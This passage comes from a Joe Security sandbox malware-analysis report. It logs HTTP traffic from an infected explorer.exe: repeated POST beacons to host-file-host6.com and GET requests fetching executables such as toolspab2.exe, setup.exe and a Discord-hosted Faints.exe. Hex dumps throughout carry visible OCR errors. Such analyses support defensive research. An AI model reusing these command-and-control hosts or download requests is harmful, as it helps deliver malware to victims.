65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://psltwkawe.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 318

Host: host-file-host6.com
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kBytes
Timestamp transferred

Nov 18, 2021 13507
10:30:40.814805031 CET

Session ID Source IP
45 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13507

10:30:40.919503927 CET

Nov 18, 2021 13508
10:30:41.026328087 CET

Session ID Source IP
46 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13509

10:30:41.143352985 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49818

Direction

ouT

Source Port
49819

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://mpvkqv.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 341

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://cxcbx.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 361

Host: host-file-host6.com
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kBytes
Timestamp transferred

Nov 18, 2021 13510
10:30:41.262995005 CET

Session ID Source IP
47 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13511

10:30:41.460762024 CET

Nov 18, 2021 13512
10:30:41.571671963 CET

Session ID Source IP
5 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 1177

10:30:10.439167976 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49820

Direction

ouT

Source Port
49762

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://iukehj.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 260

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 Od Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

GET /downloads/toolspab2.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: privacytoolzforyou-7000.top
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kBytes
Timestamp transferred

Nov 18, 2021 1178
10:30:10.609196901 CET

Session ID Source IP
6 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 1474

10:30:12.879326105 CET

Nov 18, 2021 1475
10:30:12.994435072 CET

Session ID Source IP

7 192.168.2.7

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49763

Direction
ouT

Source Port

49764

Data

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 09:30:10 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Thu, 18 Nov 2021 09:30:03 GMT

ETag: "45a00-5d10ccd9fb55d"

Accept-Ranges: bytes

Content-Length: 285184

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 30 b4 92 27 74 d5 fc 74 74 d5 fc 74 74 d5 fc 74 1b a3 57 74 5d d5 fc 74 1b a3 62
74 65 d5 fc 74 1b a3 56 74 17 d5 fc 74 7d ad 6f 74 7f d5 fc 74 74 d5 fd 74 fe d5 fc 74 1b a3 53 74 75 d5 fc 74 1b a3 66 74
75d5 fc 74 1b a3 61 74 75 d5 fc 74 52 69 63 68 74 d5 fc 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00
4c 01 04 00 9b 46 0a 60 00 00 00 00 00 00 00 00 €0 00 02 01 Ob 01 0a 00 00 f2 02 00 00 90 b9 01 00 00 00 00 dO 79 01
00 00 10 00 00 00 10 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 cO
bc 01 00 04 00 00 f1 9b 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 O
000 00 00 00 00 00 14 f4 02 00 78 00 00 00 00 60 bb 01 cO 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
b0 bb 01 94 16 00 00 60 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
f8 77 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a fO 02 00 00 10 00 00 00 f2 02 00 00 04 00 00 00 00 00 00 00 00
00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 cO 4a b8 01 00 10 03 00 00 14 00 00 00 f6 02 00 00 00 00 00 00
00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 cO 44 00 00 00 60 bb 01 00 46 00 00 00 Oa 03 00 00 00 00 00
00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 18 08 01 00 00 b0 bb 01 00 0a 01 00 00 50 03 00 00 00 00
00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$0'ttttttWi]tbtetVttjotttttStutftutatutRichttPELF y@x
"D'w@.text ".datal@.rsrcD'F@@.relocP@B

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lcapgjmve.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 142

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe
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Timestamp

Nov 18, 2021
10:30:13.100102901 CET

Nov 18, 2021
10:30:13.207979918 CET

Session ID

8

Timestamp

Nov 18, 2021
10:30:13.390058041 CET

Nov 18, 2021
10:30:13.526695967 CET

Session ID

9

Timestamp

Nov 18, 2021
10:30:15.884695053 CET

Nov 18, 2021
10:30:15.991425991 CET

kBytes
transferred

1475

1476

Source IP

192.168.2.7
kBytes

transferred

1477

1477

Source IP

192.168.2.7
kBytes

transferred
1481

1481

HTTPS Proxied Packets

Session ID

0

Source IP

192.168.2.7

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49765

Direction

ouT

Source Port

49770

Direction

ouT

Source Port

49779

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kbmxn.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 348

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 63 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd el fd 5f {7 4d
91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d Oa 0d Oa

Data Ascii: 2cl:8201:@_MqBJK,0

Destination IP Destination Port Process

216.128.137.31 80 C:\Windows\explorer.exe

Data

GET /setup.exe%09 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 216.128.137.31

HTTP/1.1 308 Permanent Redirect
Connection: close

Location: https://216.128.137.31/setup.exe%09
Server: Caddy

Date: Thu, 18 Nov 2021 09:30:13 GMT
Content-Length: 0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://aykdwcs.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 232

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:15 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 72657373 3e41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

162.159.135.233 443 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

2021-11-18 09:30:21 UTC O

2021-11-18 09:30:21 UTC O

2021-11-18 09:30:21 UTC 1

2021-11-18 09:30:21 UTC 1

2021-11-18 09:30:21 UTC 2

2021-11-18 09:30:21 UTC 4

2021-11-18 09:30:21 UTC 5

2021-11-18 09:30:21 UTC 6

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /attachments/825918003454935051/909883200657031198/Faints.exe HTTP/1.1
Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 09:30:21 GMT

Content-Type: application/x-msdos-program

Content-Length: 399360

Connection: close

CF-Ray: 6b002dfcfd3e4a74-FRA

Accept-Ranges: bytes

Age: 224247

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Faints.exe

ETag: "5e34695c9f46f1e69ce731d3b7359c88"

Expires: Fri, 18 Nov 2022 09:30:21 GMT

Last-Modified: Mon, 15 Nov 2021 19:10:59 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1637003459887101

x-goog-hash: crc32c=7UjwWA==

x-goog-hash: md5=XjRpXJ9G8eac5zHTtzZWciA==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 399360

X-GUploader-UploadID: ADPycds_83M5mZAloDvKnlw2UcSBMtyG2F2y0lgSgRIjwNJINz70ImjBIP6jONVCFGGLT
M_0lA0J7wul6g30LLSON_h4QVYyATxA

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
